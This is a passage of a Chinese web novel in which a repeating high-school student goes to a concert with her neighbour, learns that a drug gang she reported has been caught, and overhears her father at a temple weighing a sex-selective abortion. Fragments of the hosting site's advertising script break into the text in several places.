“先去剧院。”闻漫走在她左侧,车辆从他身侧“唰唰”地过,“堂姐在那里等我们。” ……闻漫的姐姐。 平心而论,田知意是有些回避和陌生人相处的。 不过她平日里颇受闻漫关照,确实不应当再计较这些。 剧院有员工专用电梯,闻漫和田知意上不去,便在电梯口等闻姐下来。 没过多久,电梯门开了。 一个三十岁上下的女人走了出来。 藏青色西装外套搭过膝裙,内衬白色衬衫,颈间系红色丝巾。 很典型的剧院制服装束。 闻漫上前:“姐。” 田知意也反应过来:“闻姐好。” 闻姐笑着看向田知意:“小漫跟我介绍说你是他朋友。” “小漫……?”田知意挑挑眉。 闻漫别过脸,小声嘟哝:“说了别这么喊我。” 见他面露囧色,闻姐像是趣味得到了满足,她轻轻挽上田知意:“饿了吧?我带你们去吃东西。” 田知意有些意外她的自然熟,所幸她胳膊纤细却很有力量,让田知意感到了安全。 这种她向往的生命力,像是闻家基因里遗传的。 闻漫只默默跟在她俩身后。 他们在附近的一家店里坐下,三人各点了一份套餐。 等待上餐的过程中,闻漫和闻姐聊了起来:“姐夫今晚来接你吗?” “应该来不了。” “这么过分的吗?”闻漫问。 闻姐白了他一眼:“所以到底是谁过分?” 田知意听得不明所以。 但她不是随意搭话的人,只疑惑地向他们看去。 闻姐察觉到田知意的不解,压低声音问闻漫:“她还不知道吗?” 闻漫摇头,也低声答:“没说。” 正值饭点,店里有些吵,田知意愈发听不真切。 ……他们可能在讲什么很私密的事。 这么想着,她拿出手机,百无聊赖地刷起了小红书。 身侧的两人谈天的声音渐响,不过用的是方言。 田知意听不明白,也不觉得有干扰,只是一顿饭吃得有些沉默,直到音乐会入场后,她才找到开口的机会:“你们刚刚在聊什么?” “一些家常事。”闻漫边说边把节目单递给她,“看看,有没有喜欢的音乐。” 田知意察觉出他在有意回避她的问题。 或许真的是不太方便讲的事,或者就是她不该过问的家事。 想到这里,田知意低下头,将注意力放到节目单上。 节目单的选曲基本是知名度很高的作品,即便没有看过动漫,音乐也是耳熟能详。 “这首。”田知意指给闻漫看,“我最喜欢的。” 《生命的名字》,根据《千与千寻》主题曲《回到那个夏天》改编的音乐。 要论知名度,肯定是主题曲《亲爱的旅人啊》传播更广。但田知意着实偏爱ikura演唱的《生命的名字》,每次听到都觉得心脏一震。 仿佛禁锢已久的灵魂一下子得到了解脱。 有了自己中意的音乐,田知意对演出的期待大幅上升了。 “你喜欢哪首?”她回过头来问闻漫。 闻漫正要回答,头顶的灯倏地熄灭。 黑暗里,他压低声音答:“等到了告诉你。” 说话的气声轻轻落在田知意的耳畔。 她摸了摸耳垂,莫名有些发热。 表演者有一男一女两人,男表演者身着黑色燕尾服坐在钢琴前,女表演者是一名身着红色拖地礼服的小提琴手,随着开场曲在会场里响起,演出开始了。 田知意的目光落在了小提琴手身上。 烫成大波浪卷的长发高高地竖起,随着她的表演轻轻跃动。她像一团火焰,轻而易举地燃起了全场的氛围。 几首曲子之后,女表演者将小提琴放在一边,架好话筒,随着《生命的名字》的旋律演唱起来。 她有副天然的好嗓,比起ikura的清亮风格,更接近平原绫香的温柔厚重。 如果说ikura的版本演唱的是千寻骑着白龙飞向天空,那现在的版本就更像千寻与无面人坐在漫长的列车上,等待着未知的终点。 演出在推进,时间却在倒流。 田知意跟随音乐的节奏,轻轻地打着拍子,仿佛回到了辛苦练琴的那段时光。 旧日的汗水滴在时光的河流里,漾开涟漪点点,暂时打散了如今的倒影。 曾经的荣光也碎在晦暗的现实里,锋利的碎片扎在她的眼里、她的心上。 田知意垂下头,眼角滚烫。 “给。” 闻漫轻轻推了推她,递来一张纸巾。 田知意不知道他是如何在这黑暗里发现她落泪的,但此时不便多言,只轻轻擦干眼睛,在换曲的间隙里低声问他:“你一个男生身边怎么会随身带纸的?” “吃饭的时候顺手拿的。”闻漫竖起食指,“嘘,接下来这首是我喜欢的。” 田知意“哦”了声,重新坐正。 极有年代感又带着浓浓忧伤的旋律随着琴声在会场里弥漫开,缓慢的节奏搭配醇厚的唱腔,仿佛是落日时分海边裹挟了水汽风,几分暖又有几分沉,连空气都有些咸咸的。 这可能就是音乐的魅力,就算完全听不懂歌词,也能感受到其中的情绪。 ……这是什么曲子? 田知意的左手轻轻点了点闻漫手背,他下意识地摊开手,却见她侧身在他的掌心缓慢地写字:“曲名?”
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 问号被她打得格外重,生怕他不能理解她的困惑。 闻漫轻轻拢起掌心,指尖细细地碾过,似乎在识别她写的字。 片刻之后,他伸出食指。 田知意也配合地展开手心。 指尖触到掌心的瞬间,田知意怔了怔。 他的手指……好烫。 她就像是个贪嘴的孩子,忍着指尖火烧火燎的痛,也要徒手取出锅中的熟食。 别了夏天,来自虞美人之坡。 闻漫写完之后借着昏暗的灯光看向田知意,似是想知道田知意有没有明白。 田知意向闻漫微笑着点了点头作为回应。 ……原来是它,是动画电影《虞美人盛开的山坡》片尾那首很好听的歌。 那部电影的导演是宫崎吾朗,宫崎骏的儿子。很多人对它评价不高,说剧情狗血,田知意却很喜欢有年代感的校园故事。 ……用这首歌实在再合适不过。 恋爱、误解、热血、胜利……仿佛夏天就是这样一个令人躁动、渴求变化的季节,当一切归于平静时,就是他们褪去少年气,迈向成熟的时刻。 田知意看了眼左手边的闻漫。 她突然很想经历这样的一个夏天。 演出进行了一个半小时结束,散场时,他们在门口看到闻姐。 闻姐已然换了便装:“走吧,我送你们回去。” 田知意看向闻漫:“你不回家吗?” “原计划是要回家的。”闻漫看着闻姐的脸色,“但现在我和你一起回去。” 田知意听着这句和废话没什么区别的答复,意识到闻漫又在回避什么。 ……这晚他的秘密似乎格外得多。 但她没有窥探别人的兴趣,只是向闻姐表达了感谢,然后在上车时主动坐到了后排。 ……闻漫和闻姐应该有些话要说。 田知意有些疲惫,又不想社交,便干脆闭上眼,沉沉睡去。 再醒来时,已经到了公寓楼下。 田知意闻姐道别后先下了车,刚好看到楼长褚阿姨从单元楼门口出来:“你们可算回来了,快上楼吧。” “这怎么回事?”她回头去看闻漫。 闻漫还没来得及回答,褚阿姨便抢着开口了:“今晚六点多吃晚饭的时候,有几个社会青年在这栋楼下乱晃,问他们做什么的也不说,鬼鬼祟祟的。还好这附近巡逻的警察过来了,他们说是来找田知意的。” 田知意反应过来,那些人应该和阿莓是一起的。 ……是来找她麻烦的。 她看了眼手机,没有任何人联系过她。 是有些反常,照理楼长应该要通知一下她的。 “他们说来找我之后呢?”田知意问。 “嗐,被警察带走了啊。”褚阿姨一拍手,“警察说他们和在调查的案件有关,让我不要走漏风声。我不好和你多说……就问了小闻,他说你们出去了,我总得看到你们回来才好放心睡觉啊。” 田知意瞥了眼闻漫。 他没有直接搭话,只在送走堂姐后才笑着回应楼长:“谢谢褚姨关心,我们今晚过得很愉快。” 褚阿姨也笑笑回应他,目光飘忽到田知意的身上。 13. 浮梦 田知意隐约猜到这一切可能与闻漫有关。 显然,楼长对这件事也是一头雾水。 如果真要说有谁清楚内幕,那就只有这一整晚都藏着掖着的闻漫了。 田知意瞥了眼闻漫。 纵然他脸上依旧挂着无可指摘的客套笑容,眉眼间也隐约流露出些许不欲久留之意。 ……与其在这里大眼瞪小眼,不如等下细细问了闻漫再说。 打定主意后,田知意也学着闻漫跟楼长道晚安:“我今晚过得很好,谢谢褚阿姨为我操心。” “都好……就好。” 褚阿姨犹豫片刻,放弃了继续打听的打算。 她拢了拢衣服,跨上一旁的电动车。只听钥匙拧动,她的身影如风一般消失在夜里。 这个季节的天气就是这样,阳光高照时还有些夏未走远的灼热,夜愈深,秋声愈重。 田知意看了眼闻漫:“走吧。” 闻漫点头,没有出声。 越往楼上走,声控灯越发昏暗,像是团迷迷朦朦笼罩过来的雾,仿佛走进了密林的深处。 他俩一路无话。彼此的呼吸就像是林子里寂寂呜咽的风。 终于,田知意踏上了屋门前的最后一级台阶,回头看了眼打算开门的闻漫:“你没有什么想告诉我的吗?” 她的声音落在静夜里仿佛滴在石板上的水声,发出轻轻震颤后又很快消弭。 闻漫怔了怔,没有回答。 田知意略略站定,沉默地等待他出声。 就在声控灯熄灭的时候,田知意听到面前传来“咔哒”的开门声,头顶灯光再次亮起。 她听到闻漫说:“进来吧。” 屋里还是出门前的模样,田知意像白天来时那样坐下,不等闻漫开口就先问:“从我这里听说阿莓的事之后,你做了什么?” “我本来不想让你知道的。”闻漫迟疑着开口。 “冯钰给我发消息了,没头没尾的,但我想你应该看得懂。” 田知意打开微信。 她在车里睡着的时候,冯钰给她发了四个字:“我得救了。” 田知意不知道她的得救是什么意思,但恐怕与阿莓脱不开干系。 闻漫叹了口气:“我把你讲给我听的事告诉了我的姐夫,他是个警察。” 联想到楼长说的事,田知意隐约猜到一个原因:“因为今晚阿莓的人会来找我?” “不止这样。我去烧点水,慢慢说。” 闻漫将养生壶搬到面前的桌上,接上电源。水声咕噜咕噜地响,是他们交流的背景音。 “你说的阿莓,不是今年才入学的。她去年入学不久就和社会上的人谈了恋爱,并且组成了一个小团体,经常拉新人加入,很有名气。” 田知意想起KTV厕所里听到的对话,确实提到冯钰有拉人入伙的“任务”。 “拉人加入做什么?”她问。 “唔……”闻漫沉默片刻,还是选择了如实相告,“他们聚众吸食新型毒*品。” 田知意吓了一跳:“这可是江省!” 她的反应成功逗笑了闻漫:“江省怎么了?” “那种东西不是应该只有乱七八糟的地方才有吗?”田知意有些困惑,“我一直以为离我们应该挺遥远的。” “别说新型毒*品了,壶州前几年还是制冰重镇,这两年打击了才算消停。” “为什么?” “化工产业发达的地方更容易有设备和原料,就像有光明的地方就有阴影,世上可从来没有完全的净土。” ……此话有理。 田知意低下头,蓦地笑了:“你懂得可真不少。” 闻漫不自然地轻咳一声:“我姐夫经常这么教育我。他让我平时多注意着些,不要和你说的阿莓他们接触。” “……阿莓他们?”田知意指了指自己,“包括我吗?” “当然不。”闻漫给她倒上水,“你是提供线索的功臣。” “功、功臣?” 田知意不知该如何反应,只得低头喝水。 她有些许尴尬。她的行为远配不上这样的评价,过誉的称谓听起来格外像讽刺。 ……闻漫不是这样的人,他不会故意让我难堪的。 田知意在心底这样想,试图让自己平静下来。 “你不这么认为吗?”闻漫笑着问。 田知意飞快地摇头:“……我也没出什么力。” “因为你把人员和地点准确地告诉了我,我才能提供给我姐夫,总之是很有帮助。” “嗯……这样。”田知意垂下头,“有帮助就很好。功臣什么的……就不要说了。” “这可难办了。”闻漫说完后,轻轻地叹了口气,“我要了张给你的感谢信,这让我怎么拿给你?” 田知意瞳孔地震:“感谢信?谁……要感谢我?” “我姐夫工作的派出所啊,要分局的可能有点难。” “啊?”田知意挠挠头,“那要不……偷偷地拿给我?” “偷偷地?” “就是夹在试卷里……嗯,比如,你给我你们学校的试卷时,把感谢信塞在里面。” “我为什么要……”闻漫问到一半,突然明白了什么似的笑了起来,“我懂了,为难的不是我,是你。” 田知意别开眼:“是我想要又不敢说。” 想要他们学校的试卷又不敢直接提请求,却在闻漫表达善意地时候顺水推舟地讲出来,仿佛是在给别人机会来感谢自己。 ……田知意,你可真卑鄙。 “这也不是什么大事,有什么需要直说就行。” 闻漫从收纳篮里找出一只风琴包,里面的试卷收纳得整整齐齐。 “这里的试卷我已经整理过了,借给你也没有关系。”闻漫抽出一张来递给她,故作神秘地说,“别给别人看到喽。” 田知意小心地接过:“我现在的同学对你们的难题没兴趣。” 他们班自有一套排名体系,就像是专门定制的玻璃温室,每个人都能喜笑颜开地安全生存,以健康良好的心态达到不读专科的目标。 毕竟他们中的大多数很容易因为压力太大就轻易放弃,能保持学习状态到高考就已经很难了。 田知意知道自己和他们不一样,但她的身体状态告诉她,病情可能会让她比任何人都提前放弃。 她抬眼看了看面前的闻漫,又看了眼手里的试卷。 整洁的卷面、好看的分数……这一切也曾属于过她,现在却由闻漫递交给她,像是小小火炬上跃动的火焰,提醒着她曾见过的光明。 怎么可能就这样心安理得地融入黑暗 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 回到房间,一盏不亮的灯让屋里的黑暗无所遁形。 荡秋千的小兔子挂件在窗边摇晃,底部写着“梦想”的字若隐若现。 田知意找出题本,对着闻漫给的试卷,把答案遮了,一题一题地做了起来。 等她做完,已经是后半夜。她有些疲惫,却完全不觉困倦。 她想起曾经的某个夜晚,在某本被遗忘了名字的书中,读到过的一段诗: 如何摘得命运的花/要经过烈日的曝晒/ 承受暴雨的侵袭/分辨谎言的黑白/ 越过恐惧的深渊/然后/路愈陡/门愈窄/ 手握荆棘/任血和着泪滴落/ 才能看见花瓣/一片片地展开 周日的晚自习冯钰没来,班主任说她跟不上学习的节奏,转学回老家了,并制止了大家的讨论。 田知意看着冯钰收拾一空的书桌,沉默无言。 她还没来得及在这个班留下什么痕迹,就消失得干干净净。 只有几条零碎的传言,证明这个人存在过。 没了冯钰的班级,就更没人搭理田知意了。 她也无所谓。 大家相聚本就是场意外,到了点结束了,便各有各的出路。 国庆假前,学校组织了场月考。 田知意看着发下来的试卷,在心里叹了口气。 ……完全比不上以前做过的试卷难度。 即便得了第一也没法让人欣慰。 田知意把月考成绩单发给了父亲,她希冀这分数和排位会让父亲心情好些,说不定到国庆就能来接她回家。 田知意甚至不敢想,如果这份希冀得不到满足,她又该如何。 过了很久,她才收到父亲的回复: “?” 独一个的问号让田知意有些沉默,她拿捏不准父亲是不明白这个名次意味着什么,还是不理解她为什么要发成绩单。 田知意不想让父亲先入为主地认为她考好了一次就翘头翘尾,用尽量客观的语气进行描述:“这是我这次月考的成绩和排名。” 又过了好一会儿,父亲回了个“哦”。 田知意摸不准父亲的态度,不敢说话。 本以为对话就此结束,田知意刚滑出微信界面,就收到提示栏通知,父亲发了段几秒的语音过来。 田知意点了转文字,是方言,识别成了乱码。 她叹了口气,无奈地开了外放。 ……如果不是必要,她真的不想直面父亲的声音。 好在他没说什么,只是问:“年级排第几?” 田知意一愣。 这怎么回答?他们班又不参与学校的排名。 田知意敏锐地意识到,父亲在疑心她这个班级第一的含金量。 也对,这样的降档班,就算是头部,也只是鸡头,完全充不了凤凰的。 田知意说不来太离谱的谎,只能含糊其辞:“老师说相当于好班的中上游。” 这样稳健的回答安抚到了父亲的情绪,他严肃地教育了几句田知意要戒骄戒躁,终于松了口答应国庆前来接她。 田知意把手机扔到一边,筋疲力竭地倒在床上。 有求必应的宠爱已经因为她的失败成为历史,现在的她想要什么,都得拿出证明她值得。 14. 浮梦 学校给了三天国庆假期,田知意安排得满满当当。 第一天和母亲去医院复查。 母亲还没显怀,但走路姿势已然开始小心翼翼。 田知意当没看见,装不知道。 两人心照不宣,各查各的。 赶了一天半作业后,十月三日天不亮,她就被母亲喊醒了。 父亲说要送她去壶州,准备明天开学。 送她之前先顺道去趟瑯山。 田知意出门前看了眼黄历:九月初五,宜出行宜祭祀。 是了,打小家里就有去瑯山烧香的习惯,每每出行必要天不亮就起床,说是不能误了时辰。 看这架势,送她去学生公寓才更像是顺道的。 瑯山是十里八方有名的佛教山,因披霞光时山体斑斓瑰丽,恍如佛教七宝簇集而得名“瑯”,据传求签解签最是灵验。 高考失利后,田知意曾听母亲叹息说没替她去瑯山求上一签。 ……这次父母打算为她下一次高考求上一支签吗? 田知意耸耸肩,她不信。 此前学业繁忙,田知意有好些年没来过瑯山,到了才发现现在的香烛只能在山下集中焚烧,说是为了防火。 在这么唯心的地方有这么唯物的举动,细想来颇有喜感。 田知意边想边顺便复习了下政治的相关知识点。 多少有些离谱。 瑯山并不算高,只是越走人越分散,倒也越走越幽静。 父亲选了条山后的路,穿过茂密的竹林,绕过禅房的围墙,才有了些许人声,大殿俨然在眼前。 大殿很高,却很暗。蜡烛似乎是仅有的光源,几人高的佛像仿佛笼罩下来的巨大天幕。殿两侧还有神色各异却狰狞的罗汉像,田知意随着父亲跪在蒲团上,《大悲咒》的声音隐隐绰绰,仿佛一场肃穆的审判。 一种无名的恐惧从田知意心底升起。 她觉得脚底凉凉的,站稳时才发现双腿仿佛被冻住了般。 母亲站在一边,望着手握着木签的父亲:“怎么样?” “第二十二签。”父亲找到签筒换了签纸,“中签,不太行。” 田知意凑前抽了眼,只见“中签”旁写了四个字——六郎逢救。 看起来是杨家将的故事。 她没看过,也不懂是什么意思。 旱时田里皆枯槁,谢天甘雨落淋淋。 花果草木皆润泽,始知一雨值千金。 诗文倒算得上通俗,签语就更简单易懂了,说是“旱逢甘雨,凡事难中有救”。 田知意觉得这签写的是中签,实际上比上上签好了一倍还不止。 顺风顺水的事有什么值得求签的,要的就是逢凶化吉。 她高考失利至今,一路不可谓不难,但何其幸运结识了闻漫。 这岂不就是“难中有救”? ……也不知道父亲的脸色为什么那么难看。 她又将签纸看了下去,大致猜到了原因。 仙机“六甲”一行写的是女。 她隐约猜到父亲此番求签与母亲肚子里这胎有关,想必是看到“女”不痛快了。 ……若真是不在意男女,也不至于来此求签。 田知意只冷眼旁观。 她听到母亲劝慰父亲:“签文谶语多有深意,未必是看到的那样,不如去找个住持高僧解解签,也好过在这里猜测。” 父亲本就揣了一丝侥幸,听母亲这么说,也很快下定决心来:“好,你们在这里等我,我去去就来。” 田知意看了眼母亲,沉默不言。 她觉得签纸已经写得很明了,来往寺里的人那么多,个个都解签只怕住持忙都忙不过来,大概率就是读到的字面意思。 母亲察觉到她的目光:“你觉得你爸不该去?” 田知意没有说是,也没说不是,只含糊地答:“我不太信这个。” 母亲摇摇头:“中签而已,谁想信呢?” 田知意觉得有些嘲讽:“上上签就信了?” 母亲看了她一眼,迟疑片刻,最终还是犹犹豫豫地点了点头:“嗯。” “那签筒里都放上上签多好。” “话也不是这么说的。”母亲似是在开导她,“有好有差解签才有价值。” “既定的签文还能改不成?”田知意讥诮地一笑。 母亲叹了口气:“你去找找你爸吧,有些事说不定亲眼见了,就信了。” 话不投机,田知意也不想多呆,转身就出了殿门。 寺里各处都一个样。 田知意跟着树上木牌的指引也没找到解签的住持,她不想向游客问路,找了片刻才遇到一个看起来好说话的小沙弥,被她拦下后先向她行礼:“女施主。” 他的头圆圆的,烫着整齐的戒疤,让田知意想到汪曾祺小说《受戒》里的明海。 她学着小沙弥的模样回礼:“这位小师傅,请问解签的地方怎么走?” 小沙弥没看到她手中有签纸,神色有几分疑惑,但还是回答了她的问题:“从这里拐进去,有木牌标识。” 田知意谢过他,拐进了小路。 路上铺着镂空的石板,她的脚步踩在上面,发出好听的、鼓点般的声音,在墙与墙之间的逼仄空间里回弹,堪比音乐大厅里的混响。 她走了一阵,直到听到人声才放轻了脚步。她听到附近的禅院里传来父亲的声音: “大师,签文是六郎逢救,是男子之事,为什么六甲对应的是女儿?” 田知意无奈地别过脸。 ……看吧,她的父母真的难懂又好懂。 既把所有的心思都明明白白写在脸上,又偏要搜肠刮肚地寻觅些好听言辞试图混淆视听。 住持的声音有些苍老,但中气很足:“施主是对签文不解,还是对现状不满?” 父亲沉默片刻,答:“对签文不解。” 田知意撇撇嘴。 ……骗人,分明就是不满。 住持也不深究,像模像样地为他解释签文:“六郎逢救乃遇及时雨,一雨值千金,便是仙机‘千金’之由来。” 父亲听懂了。 他没什么疑问,但也不甘心就这样走,就只杵在原地。 住持等了片刻,出声问:“施主可还有不明之事?” “嗯……”父亲犹犹豫豫地将问题问出了口,“大师,虽然说孩子为天赐,但我可不可……也不是说要杀生,毕竟佛门净地,不该说那些词……” 他终究要脸面,无法将“堕胎”一词理直气壮地 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 说出口,以至于越说越语无伦次。 田知意跟着竖起了耳朵。 她知道住持肯定不会劝人堕胎,但也不能打诳语,更不会想激怒施主。 ……那他要怎么劝父亲呢? 许是意识到这是个难题,住持的沉默时间也延长了些许。但他也没有停顿太久,不久便开口问:“亲子结缘乃是因果,施主想断因果老衲虽不主张,但也不至强行反对。” 父亲稍稍松了口气:“也就是说,这是可以的……会影响我妻子再怀孕吗?” “那非签文所及,无法回答。”住持顿了顿,“但无论这婴孩是男是女,皆是施主之及时雨,施主要了断吗?” “及时雨?” 田知意暗暗吃惊,父亲则吓了一跳:“什么意思?” “施主还是未明白。所谓‘千金’是从‘及时雨’一说而来,若是舍了‘千金’,‘及时雨’自然一并被舍了。” “及时雨……”父亲喃喃着,似乎刚理解过来“难中有救”的意思,“大师的意思是……我会有难了?” “人生苦乐无常,总有波折起伏。况且尚未到瓜熟蒂落时,一切皆有变数。” “一切尚有变数……大师,我……懂了。” 听到父亲艰难地开口,田知意知道这场对话到了尽头。 不知父亲心中所理解的“变数”是指有难,还是孩子的性别可能为男。 但不论如何,住持终究用自己的方式保下了这个孩子。 田知意转身躲回了小路,她不想父亲一出来就看到她,免得被父亲起疑她是否一直再偷听。 ……虽然她确实在偷听。 她想父亲肯定不想她知道他曾想过要堕掉母亲腹中疑似女儿的孩子。 他是个如此要脸面的人。 她看着禅院外在风中沙沙摇晃的竹林,仿佛是苍老智者的低语。 一个奇怪的念头泛上她的心头。 田知意往后退了退,面对着住持所在的禅院,深深地鞠了一躬。 非亲非故的人,尚且满怀慈悲之心。 人父人母却可能因为还未辨明的性别而抹杀掉一条生命。 在一半一半的概率里要求100%的确定,否则将即刻抹杀。 生杀大权在握,何其残忍。 眼看着父亲出了禅院往另一个方向走去,田知意忙迎了上去。 “你来这里做什么?”父亲问。 “妈妈让我来找你。” 父亲的脸上还带着明显的失落和不甘,显然对住持的说法很是不服,但又无可奈何。 ……落难这事宁可信其有、不可信其无,父亲自然心中忐忑。 田知意也不提解签的事,只是跟着父亲回大殿找母亲。 见他俩一同回来,母亲看着田知意问:“大师怎么说?” 田知意摇头:“我迷路了,等看到爸爸的时候他已经出来了。” 她边说边看向一边的佛像,只见佛祖慈悲、金刚怒目,一切如常,似乎没有为难她之相。 ……我这是善意的谎言。 田知意背过身,只见父母已经先她一步出去了。 “你怎么能让她过去听呢?”她听到父亲这么斥责母亲,“幸好她没听到,不然该怎么想我们。” 15. 浮梦 ……能怎么想?用脑子想咯。 浮想占据了田知意的大脑,她走路都有些轻飘飘的。 父母边低声交流,边时不时回头看看落在后面的田知意。交谈声忽高忽低,但都刚好能被她听个大概。 ……这是在想我听到吗? 田知意放慢脚步,父母往回看了好几次,终于停下了脚步。 “快点,在等你呢。”父亲冲她喊道。 田知意稍微加快了些许步伐:“我有点饿了。” 父亲看了眼时间,确实到了饭点。 他摸了摸肚子,问母亲:“你饿吗?我不觉得饿。” 母亲也摇头:“早饭吃得多,不怎么饿。” 矛头转向了田知意,父亲的语气里多了几分不耐:“早上让你多吃点你不吃,现在就你饿了。” 他的声音很响,语气很重,像是要将积了一上午的火气一股脑儿地发出来。 田知意只看着他。 一日三餐,到点吃饭有什么错呢? ……早餐再丰盛,胃就那么大,还能把晚饭一起吃了? 她漠然的态度进一步激起了父亲的不满:“爸妈在讨论事情你一点不关心,还要爸妈等你吗?” 田知意别开眼,不去看父亲狂怒的神色。 “你小点声。”母亲环顾四周低声提醒,“佛门净地。” 父亲不再说话,他的胸脯一起一伏的,像只战斗前的公鸡。 田知意心想看来住持的话当真让父亲又气又怕,让她平白担了这通无名怒火。 父母那么努力要隐瞒她二胎的事,又指望她能够提供情绪价值,缓和他俩因为此事产生的焦虑情绪。 ……颇有荒诞现实的美感。 她对父亲的指责不以为然,但也不想自证清白。她想了想,避开了父亲后一句话,只提醒他:“医生说要规律饮食。” 许是“医生”二字引起了父亲的重视,他下意识瞟了眼母亲:“医生建议的?” 母亲迟疑着点头:“是有说过这样的话。” “那就在寺里吃顿面吧。”父亲的口气软了下来,“吃完送你去公寓。” 田知意不说话,像在看一场小剧场里的嘈杂闹剧。 他们找了家素面馆。 店里人不少,田知意和母亲找了张桌子坐下,父亲去点餐,拿着号码牌回来了,将小票压在了牌下。 田知意看了眼小票上的字。 一碗罗汉面、一碗如意面、一碗福寿面,一份番茄炒鸡蛋和一份雪菜毛豆。 面碗很大,分量很足,不大的桌子很快被占得满满当当。 田知意看着盆大的面碗,微微皱眉。 ……这下不一定能吃完了。 她沉默着,母亲开始分配面碗:“面都是差不多的,就浇头不一样。” 说着,母亲把福寿面推到父亲面前,又取走了如意面,把罗汉面留给了田知意:“吃完这碗面,罗汉保佑你考个好大学。” 田知意默不作声地接下了。 父亲爱吃番茄炒蛋,母亲便从盘子里扒拉了大半给他,又从雪菜毛豆的盘子里扒拉了些许给自己,最后将两个盘子里的菜合到一起,把清空的盘子垫在下面,一起推到田知意面前:“这是给你的。” 田知意呼吸一滞。 叠的高高的盘子像海中的涡旋,扑面而来的压力让她有些喘不过气来。 ……所幸菜已经分完了。 田知意盘算了下自己的胃口,心想暴食状态下或许可以硬塞进去。 ……忍忍,这顿饭后就自由了。 谁料,母亲端着碗往她这里靠了靠,没等田知意反应过来就飞快地将面一团一团地夹进田知意的碗里,边夹边叨咕:“你刚刚不是说饿了吗?刚好,我也不太饿,多吃点。这里的菜不方便打包,别浪费了。” 田知意看着堆成山的面碗,心一点点沉了下去。 母亲让她多吃点,她却觉得窒息。 这样的心情要是直言不讳地说出来,压根不会有人理解她。 她的呼吸仿佛暂停了,胸腔里拧成一团,鼻腔里却进不去半分空气,灼烧般的疼痛瞬间挤占了她的胸膛。 田知意不知道,压垮她的究竟是超过她食量的午餐,还是母亲沉甸甸的爱。 田知意拼了命也没吃完母亲留给她的份,又被父亲好一通数落。 ……明明就是父亲点多了。 田知意只在心里想想,没有说出口。 自幼她接受的家教就是“天下无不是的父母”,但凡对他们有些异议,一定会得到一通诸如“让你多吃点还错了不成”“本来养到18岁就不该再管你的”“我是白好心给你吃东西”的回应,就差将“不识好歹”四个字说出口。 如果是那样的话,还不如什么都不辩解。 她早已习惯被斥责,心里没有半分波动,只有胃里翻涌如拍岸的惊涛,随着车辆行驶的颠簸,一阵高过一阵。 咽不下去又吐不出来的感受从中午持续到了晚上。 晚自习前,田知意没有吃任何东西。 晚自习进行到7点半时,班主任突然进到班里,让他们出来排队。 田知意有些不明所以,却见同学已经心领神会地收拾了书包往外走。 在零零碎碎的交谈里,田知意听到他们是要步行去隔壁三中看电影。 三中有一座可容纳3000余人的大礼堂,市里有重要会议时会被租用为会议场地,空闲时也会作为电影院对外营业。 此次看电影是庆祝建国七十周年举办的活动,由于三中高三国庆休息三天、调休四天,故而安排高三在返校这晚的晚自习观看电影,高一高二则安排在7号晚上。 复读学校没有这样的观影条件,就干脆和三中的高三凑在一起组织活动。 田知意没什么要带回去的,也没收拾东西的心情,只双手插兜,懒洋洋地混在队伍里。 她坐在靠边的位置,融在偌大的礼堂里,仿佛是大海中的一粒沙。 硕大的屏幕仿佛一张发光的铁幕,礼堂里的音箱声响亮却不均匀,田知意有些眩晕,不止是屏幕刺眼,还是音响刺耳。 田知意强撑了一会儿,愈发觉得难受。 ……她的身体支撑不住这样的刺激。 她悄声对旁边的女生说:“我出去透透气。” 声音很快被吞没在无边的音海里。 旁边的女生察觉到什么,回头看向她。 田知意只得摆摆手,在对方疑惑的目光里,离开了座位。 十月的天气已然有些转凉。 田知意倚在放映厅的墙外,感觉有些无聊。 她不敢走, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 也不能进去,整个人看起来像是在表演行为艺术。 ……要是有支烟就好了。 她被自己突然冒出的想法吓了一跳。 ……怎么会想到这种恶习的? 田知意自嘲地笑笑。 脑海中却浮现出班上有些男生下课时和重点关注班的人挤在厕所门口吞云吐雾的场景,仿佛在无聊的时光里,香烟是最好的安慰剂。 ……脑子真是坏掉了。 田知意试图让自己恢复理智,浮想却越来越重,双腿也轻飘飘的,像是飘在空中一样。 “知意?” 遥遥的一声呼唤,将她从浮想中拉回现实。田知意无神地抬眼,却见闻漫已走到她跟前。 她揉揉眼睛,以为自己看错了:“……你怎么在这里?” 闻漫被她的问题逗笑了:“这是我们学校的礼堂。” 田知意终于有了些实感,双脚似乎也稳稳地落回到了地面上:“对哦,三中组织的看电影。那你快进去吧。” “你为什么不进去呢?”闻漫问。 田知意揉了揉太阳穴:“里面太闹了,我吃不消。” 随着她感到虚弱,晚上没吃东西的坏处也暴露出来——她饿了。 她借着靠向墙壁的力勉强站直身体:“我没吃晚饭,要去吃点东西了。” “那我也去。” 闻漫的回答让田知意有些意外。 她指了指放映厅:“你不看电影没关系吗?” “没说要写观后感,应该没事。” 田知意点点头,算是认可了他的说法:“那我们去吃什么?” 闻漫看了眼手表:“这个点的话,撸串最好吧。” 田知意没吃过。 印象里的烧烤摊人多、嘈杂,各色社会人饮酒作乐、甚至酒后滋事,总之不是高中生、至少不是好学生该去的地方。 ……但闻漫这么说一定有他的道理。 万一……真的很好吃呢? 田知意想了想,有些不放心:“穿校服去会不会有些奇怪?” “我们一起回去换衣服,烧烤店离公寓还近点。” 田知意觉得自己没带任何东西实在很有先见之明,很方便跑路。但没想到闻漫也什么都没带,不知是不是也做好了随时跑路的准备。 她是这么想的,也是这么问的。 “听说今晚要看电影,我就只带了支笔上晚自习。”闻漫说。 从听说“撸串”就开始想要吐槽的田知意终于按捺不住:“你有时候看起来真不像个好学生。” “做好学生快乐吗?”闻漫问她。 田知意怔了怔,然后慢慢地摇了摇头:“学海无涯苦作舟。” “那我更喜欢快乐。” “追求快乐不会学坏吗?”田知意问。 “你认为的那种学坏快乐吗?”闻漫反过来问她。 田知意低下头。 她将自己灌醉过一次,然后住院了。她整整一个暑假完全没有碰学习,只得到了迷茫。她去了冯钰邀请的KTV局,却发了阵疯之后落荒而逃。 这段时间为数不多的快乐,要么是与闻漫呆在一起,要么是在拉小提琴,姑且算是与学习无关,但和学坏应该不沾边。 好像……学坏不会让她快乐,她想要快乐也不必学坏。 16. 浮想 